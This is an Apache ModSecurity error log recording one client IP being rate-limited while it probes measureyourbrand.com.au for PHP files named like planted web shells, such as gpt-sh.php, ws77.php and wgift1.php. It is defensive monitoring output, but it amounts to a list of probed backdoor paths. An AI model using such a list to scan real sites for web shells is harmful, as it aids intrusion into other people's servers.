[Wed Apr 01 08:13:27.505671 2026] [:error] [pid 23714:tid 23752] [client 74.234.75.219:65372] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws42.php"] [unique_id "acxjJ0HxDDU2ETcG9DQKWQAAABI"]
[Wed Apr 01 08:13:28.040200 2026] [:error] [pid 23714:tid 23751] [client 74.234.75.219:64695] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws42.php"] [unique_id "acxjKEHxDDU2ETcG9DQKXAAAABE"]
[Wed Apr 01 08:13:28.556444 2026] [:error] [pid 23714:tid 23734] [client 74.234.75.219:64736] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "acxjKEHxDDU2ETcG9DQKXgAAAAA"]
[Wed Apr 01 08:13:29.061294 2026] [:error] [pid 24346:tid 24375] [client 74.234.75.219:64662] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "acxjKbc1l8kg9MhGHIKi2QAAAVc"]
[Wed Apr 01 08:13:29.606665 2026] [:error] [pid 24348:tid 24387] [client 74.234.75.219:65337] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "acxjKW0Vs69Y5nF1HA_3rAAAAYg"]
[Wed Apr 01 08:13:30.153549 2026] [:error] [pid 23714:tid 23745] [client 74.234.75.219:63453] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "acxjKkHxDDU2ETcG9DQKYgAAAAs"]
[Wed Apr 01 08:13:30.679760 2026] [:error] [pid 24348:tid 24384] [client 74.234.75.219:65333] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "acxjKm0Vs69Y5nF1HA_3sQAAAYU"]
[Wed Apr 01 08:13:31.222939 2026] [:error] [pid 23819:tid 23832] [client 74.234.75.219:64685] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "acxjK9dfUS_37wFAM773HAAAAMo"]
[Wed Apr 01 08:13:31.786041 2026] [:error] [pid 24348:tid 24381] [client 74.234.75.219:64718] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "acxjK20Vs69Y5nF1HA_3tAAAAYI"]
[Wed Apr 01 08:13:32.359812 2026] [:error] [pid 23714:tid 23746] [client 74.234.75.219:64693] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "acxjLEHxDDU2ETcG9DQKZAAAAAw"]
[Wed Apr 01 08:13:32.906531 2026] [:error] [pid 24348:tid 24403] [client 74.234.75.219:64034] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "acxjLG0Vs69Y5nF1HA_3uQAAAZg"]
[Wed Apr 01 08:13:33.430514 2026] [:error] [pid 23715:tid 23772] [client 74.234.75.219:64704] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "acxjLa-REzOruNbiT9x5MQAAAEs"]
[Wed Apr 01 08:13:33.984598 2026] [:error] [pid 24314:tid 24323] [client 74.234.75.219:64102] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "acxjLZRF3FCzjmMUX5b4DQAAAQU"]
[Wed Apr 01 08:13:34.519545 2026] [:error] [pid 24346:tid 24357] [client 74.234.75.219:65360] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "acxjLrc1l8kg9MhGHIKi3AAAAUU"]
[Wed Apr 01 08:13:35.064712 2026] [:error] [pid 23714:tid 23739] [client 74.234.75.219:64103] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/north1.php"] [unique_id "acxjL0HxDDU2ETcG9DQKZwAAAAU"]
[Wed Apr 01 08:13:35.594026 2026] [:error] [pid 23715:tid 23765] [client 74.234.75.219:64733] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/north1.php"] [unique_id "acxjL6-REzOruNbiT9x5OwAAAEQ"]
[Wed Apr 01 08:13:36.213990 2026] [:error] [pid 23714:tid 23734] [client 74.234.75.219:64677] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/north1.php"] [unique_id "acxjMEHxDDU2ETcG9DQKawAAAAA"]
[Wed Apr 01 08:13:36.748938 2026] [:error] [pid 24314:tid 24330] [client 74.234.75.219:64004] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/north1.php"] [unique_id "acxjMJRF3FCzjmMUX5b4EgAAAQw"]
[Wed Apr 01 08:13:37.277806 2026] [:error] [pid 23716:tid 23805] [client 74.234.75.219:64091] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eee.php"] [unique_id "acxjMXVtFUg_mx-RYb52FAAAAJE"]
[Wed Apr 01 08:13:37.783064 2026] [:error] [pid 24348:tid 24396] [client 74.234.75.219:64070] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eee.php"] [unique_id "acxjMW0Vs69Y5nF1HA_3vAAAAZE"]
[Wed Apr 01 08:13:38.345468 2026] [:error] [pid 23714:tid 23748] [client 74.234.75.219:64110] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eee.php"] [unique_id "acxjMkHxDDU2ETcG9DQKbgAAAA4"]
[Wed Apr 01 08:13:38.867710 2026] [:error] [pid 23714:tid 23746] [client 74.234.75.219:65306] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eee.php"] [unique_id "acxjMkHxDDU2ETcG9DQKbwAAAAw"]
[Wed Apr 01 08:13:39.429138 2026] [:error] [pid 23714:tid 23744] [client 74.234.75.219:65385] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "acxjM0HxDDU2ETcG9DQKcQAAAAo"]
[Wed Apr 01 08:13:39.955144 2026] [:error] [pid 23715:tid 23771] [client 74.234.75.219:65289] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "acxjM6-REzOruNbiT9x5TgAAAEo"]
[Wed Apr 01 08:13:40.500032 2026] [:error] [pid 23714:tid 23744] [client 74.234.75.219:65384] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "acxjNEHxDDU2ETcG9DQKggAAAAo"]
[Wed Apr 01 08:13:41.027045 2026] [:error] [pid 24314:tid 24338] [client 74.234.75.219:64643] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "acxjNZRF3FCzjmMUX5b4LwAAARQ"]
[Wed Apr 01 08:13:41.621472 2026] [:error] [pid 24314:tid 24332] [client 74.234.75.219:64111] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/admin.php"] [unique_id "acxjNZRF3FCzjmMUX5b4MAAAAQ4"]
[Wed Apr 01 08:13:42.132104 2026] [:error] [pid 23714:tid 23736] [client 74.234.75.219:64089] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/admin.php"] [unique_id "acxjNkHxDDU2ETcG9DQKhQAAAAI"]
[Wed Apr 01 08:13:42.664185 2026] [:error] [pid 23716:tid 23793] [client 74.234.75.219:65287] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/admin.php"] [unique_id "acxjNnVtFUg_mx-RYb52FgAAAIU"]
[Wed Apr 01 08:13:43.195578 2026] [:error] [pid 24314:tid 24326] [client 74.234.75.219:64064] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/admin.php"] [unique_id "acxjN5RF3FCzjmMUX5b4NQAAAQg"]
[Wed Apr 01 08:13:43.743311 2026] [:error] [pid 24314:tid 24320] [client 74.234.75.219:65335] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws77.php"] [unique_id "acxjN5RF3FCzjmMUX5b4NwAAAQI"]
[Wed Apr 01 08:13:44.279442 2026] [:error] [pid 24314:tid 24321] [client 74.234.75.219:65322] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws77.php"] [unique_id "acxjOJRF3FCzjmMUX5b4OgAAAQM"]
[Wed Apr 01 08:13:44.825669 2026] [:error] [pid 24314:tid 24333] [client 74.234.75.219:64749] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws77.php"] [unique_id "acxjOJRF3FCzjmMUX5b4PgAAAQ8"]
[Wed Apr 01 08:13:45.328845 2026] [:error] [pid 23819:tid 23836] [client 74.234.75.219:65324] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws77.php"] [unique_id "acxjOddfUS_37wFAM773IgAAAM4"]
[Wed Apr 01 08:13:45.863464 2026] [:error] [pid 23715:tid 23775] [client 74.234.75.219:64072] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gpt-sh.php"] [unique_id "acxjOa-REzOruNbiT9x5WAAAAE4"]
[Wed Apr 01 08:13:46.371568 2026] [:error] [pid 24314:tid 24324] [client 74.234.75.219:64665] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gpt-sh.php"] [unique_id "acxjOpRF3FCzjmMUX5b4RAAAAQY"]
[Wed Apr 01 08:13:46.924783 2026] [:error] [pid 23715:tid 23764] [client 74.234.75.219:65282] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gpt-sh.php"] [unique_id "acxjOq-REzOruNbiT9x5XQAAAEM"]
[Wed Apr 01 08:13:47.475788 2026] [:error] [pid 24346:tid 24360] [client 74.234.75.219:65375] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gpt-sh.php"] [unique_id "acxjO7c1l8kg9MhGHIKi-wAAAUg"]
[Wed Apr 01 08:13:48.029151 2026] [:error] [pid 23714:tid 23750] [client 74.234.75.219:64112] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "acxjPEHxDDU2ETcG9DQKkAAAABA"]
[Wed Apr 01 08:13:48.560385 2026] [:error] [pid 23715:tid 23770] [client 74.234.75.219:65329] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "acxjPK-REzOruNbiT9x5ZAAAAEk"]
[Wed Apr 01 08:13:49.063340 2026] [:error] [pid 23715:tid 23777] [client 74.234.75.219:63379] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "acxjPa-REzOruNbiT9x5ZgAAAFA"]
[Wed Apr 01 08:13:49.598610 2026] [:error] [pid 23819:tid 23835] [client 74.234.75.219:65378] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "acxjPddfUS_37wFAM773JQAAAM0"]
[Wed Apr 01 08:13:50.115528 2026] [:error] [pid 23714:tid 23743] [client 74.234.75.219:65357] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "acxjPkHxDDU2ETcG9DQKlgAAAAk"]
[Wed Apr 01 08:13:50.635902 2026] [:error] [pid 23714:tid 23746] [client 74.234.75.219:65316] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "acxjPkHxDDU2ETcG9DQKmAAAAAw"]
[Wed Apr 01 08:13:51.153841 2026] [:error] [pid 24346:tid 24363] [client 74.234.75.219:65339] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "acxjP7c1l8kg9MhGHIKi_AAAAUs"]
[Wed Apr 01 08:13:51.697918 2026] [:error] [pid 24348:tid 24381] [client 74.234.75.219:64005] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "acxjP20Vs69Y5nF1HA_30wAAAYI"]
[Wed Apr 01 08:13:52.205950 2026] [:error] [pid 24314:tid 24329] [client 74.234.75.219:64744] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wander.php"] [unique_id "acxjQJRF3FCzjmMUX5b4TAAAAQs"]
[Wed Apr 01 08:13:52.710612 2026] [:error] [pid 23716:tid 23812] [client 74.234.75.219:64670] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wander.php"] [unique_id "acxjQHVtFUg_mx-RYb52GwAAAJg"]
[Wed Apr 01 08:13:53.222008 2026] [:error] [pid 23819:tid 23834] [client 74.234.75.219:64119] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wander.php"] [unique_id "acxjQddfUS_37wFAM773LQAAAMw"]
[Wed Apr 01 08:13:53.723467 2026] [:error] [pid 23819:tid 23846] [client 74.234.75.219:65350] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wander.php"] [unique_id "acxjQddfUS_37wFAM773LgAAANg"]
[Wed Apr 01 08:13:54.265836 2026] [:error] [pid 23715:tid 23762] [client 74.234.75.219:64684] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h02ugyh.php"] [unique_id "acxjQq-REzOruNbiT9x5cwAAAEE"]
[Wed Apr 01 08:13:54.836057 2026] [:error] [pid 24346:tid 24359] [client 74.234.75.219:65349] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h02ugyh.php"] [unique_id "acxjQrc1l8kg9MhGHIKjBgAAAUc"]
[Wed Apr 01 08:13:55.365975 2026] [:error] [pid 23716:tid 23806] [client 74.234.75.219:64104] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h02ugyh.php"] [unique_id "acxjQ3VtFUg_mx-RYb52IAAAAJI"]
[Wed Apr 01 08:13:55.875953 2026] [:error] [pid 24348:tid 24403] [client 74.234.75.219:65353] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h02ugyh.php"] [unique_id "acxjQ20Vs69Y5nF1HA_31QAAAZg"]
[Wed Apr 01 08:13:56.406117 2026] [:error] [pid 24314:tid 24329] [client 74.234.75.219:63455] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ad.php"] [unique_id "acxjRJRF3FCzjmMUX5b4VQAAAQs"]
[Wed Apr 01 08:13:56.921527 2026] [:error] [pid 24348:tid 24388] [client 74.234.75.219:64115] [client 74.234.75.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ad.php"] [unique_id "acxjRG0Vs69Y5nF1HA_31wAAAYk"]
